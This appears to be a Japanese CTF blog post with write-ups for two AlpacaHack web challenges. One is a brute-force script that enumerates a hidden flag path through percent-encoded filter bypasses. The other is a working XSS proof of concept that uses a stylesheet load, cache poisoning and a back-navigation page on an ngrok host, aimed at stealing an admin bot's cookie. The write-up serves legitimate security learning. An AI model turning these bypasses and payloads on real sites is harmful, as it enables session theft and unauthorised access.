はまやんはまやんはまやん

hamayanhamayan's blog

AlpacaHack Round 7 (Web) Writeups

[web] Treasure Hunt

javascript, expressで作られたページが与えられる。

import express from "express";

const html = `
<h1>Treasure Hunt 👑</h1>
[redacted]
</ul>
`.trim();

const app = express();

app.use((req, res, next) => {
  res.type("text");
  if (/[flag]/.test(req.url)) {
    res.status(400).send(`Bad URL: ${req.url}`);
    return;
  }
  next();
});

app.use(express.static("public"));

app.get("/", (req, res) => res.type("html").send(html));

app.listen(3000);

フラグはDockerfileにて以下のように用意されている。

# Create flag.txt
RUN echo 'Alpaca{REDACTED}' > ./flag.txt

# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
    && mkdir -p $(dirname $FLAG_PATH) \
    && mv flag.txt $FLAG_PATH

試しにDockerで立ち上げて中を見てみると、フラグは以下のような場所に置いてあることになる。

/app/public/3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1/f/l/a/g/t/x/t

最後のf/l/a/g/t/x/tは分かっているとして、前半のランダム部分をどうやって特定していくかが問題のキモになる。色々実験すると、例えば上の例であれば/app/public/3なら301応答、/app/public/2なら404応答のように存在するかしないかで応答が変化していることが分かる。応答が変化しているということは、逆に応答を見れば存在するかどうかが判定可能ということになる。 よって、先頭から順番に[0-9a-f]の範囲でリクエストを送ってみてステータスコードが301のものがあれば、それを採用して次の階層を探索…というのを続けていくことでパス全体を特定していく。

注意点としてif (/[flag]/.test(req.url)) {という検証がある関係でaとfはそのまま入力することができない。この文字に関してはパーセントエンコーディングによって検証を回避することができる。今までは書いたことを全て実装して以下のような探索コードを書けばパスを取得可能。

import httpx

dic = "0123456789abcdef"
BASE = "http://[redacted]/"

def test(url):
    return httpx.get(url).status_code == 301

path = ""
for _ in range(32):
    for c in dic:
        if c == 'a':
            if test(BASE + path + "/%61"):
                print(c)
                path += "/%61"
                break
        elif c == 'f':
            if test(BASE + path + "/%66"):
                print(c)
                path += "/%66"
                break
        else:
            if test(BASE + path + f"/{c}"):
                print(c)
                path += f"/{c}"
                break
    print(path)

よもやま話。最初いつも使っているrequestsを使っていたのだが、URL中のパーセントエンコーディングの制御がうまくできず破滅してしまったのでhttpxに切り替えて実装した。第一問目は実装速度勝負問題だったので、勝負に負けて悔しい。

これで、乱数パス部分は復元できたので、末尾に%66/%6c/%61/%67/t/x/tをつけてリクエストすればフラグがもらえる。

[web] minimal-waf 解けなかった

javascript, expressで作られた以下のサイトとフラグをcookieに入れてアクセスするadminbotが与えられる問題。

import express from "express";

const indexHtml = `
<title>HTML Viewer</title>
[redacted]
</body>
`.trim();

express()
  .get("/", (req, res) => res.type("html").send(indexHtml))
  .get("/view", (req, res) => {
    const html = String(req.query.html ?? "?").slice(0, 1024);

    if (
      req.header("Sec-Fetch-Site") === "same-origin" &&
      req.header("Sec-Fetch-Dest") !== "document"
    ) {
      // XSS detection is unnecessary because it is definitely impossible for this request to trigger an XSS attack.
      res.type("html").send(html);
      return;
    }

    if (/script|src|on|html|data|&/i.test(html)) {
      res.type("text").send(`XSS Detected: ${html}`);
    } else {
      res.type("html").send(html);
    }
  })
  .listen(3000);

単純に/view?html=<s>XSS</s>とするとHTMLインジェクションはできていることが分かる。しかし、scriptタグなどのXSSできそうなものを使おうとすると、if (/script|src|on|html|data|&/i.test(html)) {の検証部分に阻まれてXSSできない。

Sec-Fetch-*に関する検証部分

特徴的な点といえばやはりSec-Fetch-*に関する検証がある所だろう。same-originで、かつ、普通のサイト閲覧じゃない読み込み(トップレベルナビゲーション以外で読み込み)の場合は厄介な検証を回避することができる。HTMLインジェクションができるということを考えると、何かしらのタグを使って/viewに対して読み込みを頑張るのではないだろうか。

mdnを見てみよう。Sec-Fetch-Dest

Sec-Fetch-Dest: audio
Sec-Fetch-Dest: audioworklet
Sec-Fetch-Dest: document
Sec-Fetch-Dest: embed
Sec-Fetch-Dest: empty
Sec-Fetch-Dest: fencedframe
Sec-Fetch-Dest: font
Sec-Fetch-Dest: frame
Sec-Fetch-Dest: iframe
Sec-Fetch-Dest: image
Sec-Fetch-Dest: manifest
Sec-Fetch-Dest: object
Sec-Fetch-Dest: paintworklet
Sec-Fetch-Dest: report
Sec-Fetch-Dest: script
Sec-Fetch-Dest: serviceworker
Sec-Fetch-Dest: sharedworker
Sec-Fetch-Dest: style
Sec-Fetch-Dest: track
Sec-Fetch-Dest: video
Sec-Fetch-Dest: webidentity
Sec-Fetch-Dest: worker
Sec-Fetch-Dest: xslt

document以外の読み込みで、if (/script|src|on|html|data|&/i.test(html)) {の検証を回避できそうなものとして、

<link rel="stylesheet" href="http://localhost:3000/view?...">
<link rel="manifest" href="http://localhost:3000/view?...">

がある。試しにstylesheetの方で試してみよう。

<link rel="stylesheet" href="http://localhost:3000/view?html=<script>alert(origin);</script>">

これを試すと、htmlとscriptが検証に引っ掛かってしまう。だが、これはパーセントエンコーディングで回避可能。つまり、

<link rel="stylesheet" href="http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>">

を入力してみると、linkタグを埋め込むことができ、href部分がいい感じに解釈されてリクエストが飛ぶ。このリクエストでは、sec-fetch-dest: stylesec-fetch-site: same-originが付いてくるので検証が回避され、<script>alert(origin);</script>というのが帰ってくることになる。いい感じ。

この結果をどう呼び出すか

<script>alert(origin);</script>という応答が得られるルートは分かったが、これをどうHTMLとして解釈させる方法が次の課題。ここは飛躍が必要な部分で、自分は自分のCTFメモを上から順に眺めて発見した。最近流行りのクライアントサイドのキャッシュを利用したXSSテクを利用すると実現できた。

作問者であるArkさんが過去出題したspanoteで紹介されているテクを使う。ページの戻るを使うことでキャッシュを使わせて違うタイミングで取得したコンテンツを表示させるものである。これにより、linkタグのhrefで取得した内容を、普通にページで開く(トップレベルナビゲーションで開く)ことができる。以下のような流れで攻撃を行う。

  1. キャッシュ汚染を利用したいページXを普通に(トップレベルナビゲーションで)開く
  2. ページXがキャッシュさせたいコンテンツを返すように頑張る
  3. ページの戻るを行うページに遷移させ、手順1のページまで戻す。すると、キャッシュが利用され、手順2でキャッシュしたコンテンツが普通に(トップレベルナビゲーションで)帰ってくる

分かりにくいと思うのでもう少し具体的に書く。

  1. まず、http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>を開く

  2. 次に、http://localhost:3000/view?html=%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Flocalhost%3A3000%2Fview%3F%2568tml%3D%3C%2573cript%3Ealert%28origin%29%3B%3C%2F%2573cript%3E%22%3Eを開く。
    この時、<link rel="stylesheet" href="http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>">というのが埋め込まれるので、そこから更にhttp://localhost:3000/view?%68tml=%3C%73cript%3Ealert(origin);%3C/%73cript%3Eが呼ばれる。
    この部分が重要で、これはつまり手順1と同じURLを開いていることになるのだが、stylesheetとして読み込んでいるため、Sec-Fetch-Dest: styleとなり、結果として入力値がそのまま帰ってくる。そして、それがクライアントサイドでキャッシュされる!

  3. 「ページの戻るを行うページ」として、back.htmlを自前でホストしておいて、そこに遷移させる。back.htmlの中身は<script>history.go(-2);</script>。このページに遷移すると、2ページ戻るため、手順1でのページに戻される。このとき、手順1のサイトを表示するためにブラウザはブラウザがキャッシュしたものを利用するが、手順2でキャッシュしたものを採用してくれる。これにより、stylesheetとして読み込んだキャッシュデータではあるが、普通のサイト表示としてキャッシュが利用されてしまう。

これでアラートが出ます!PoCコードの方が分かりやすいかもしれません。以下のようなサイトを踏ませることでアラートを出させることができます。

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms))
    setTimeout(async () => {
        w = window.open(`http://localhost:3000/view?%68tml=<%73cript>alert(origin);</%73cript>`);
        await sleep(3000);
        w.location = 'http://localhost:3000/view?html=%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Flocalhost%3A3000%2Fview%3F%2568tml%3D%3C%2573cript%3Ealert%28origin%29%3B%3C%2F%2573cript%3E%22%3E';
        await sleep(3000);
        w.location = 'http://[yours].ngrok-free.app/back.html'; // 2 back
    }, 0)
</script>

これでXSS達成したので、あとはalert(origin);部分をcookieを送るものに変更してadmin-botに踏ませればフラグ獲得です。

ちなみに、manifestを使う場合のPoCはこちらです。fetch('https...fetch('http...にして活用ください。

余談

何故かPoCが動かない…となってコンテスト終了していたが、fetchでhttpsをやっていてSecure Contextに引っ掛かっていたのと、何故かadmin-botlocalhostではなくIPアドレスの方で送らないといけないと思っており(web歴何年目?)、keymoonさんとarkさんから本質的なアドバイスをもらっていたのに訳の分からないリプをしてしまい大反省。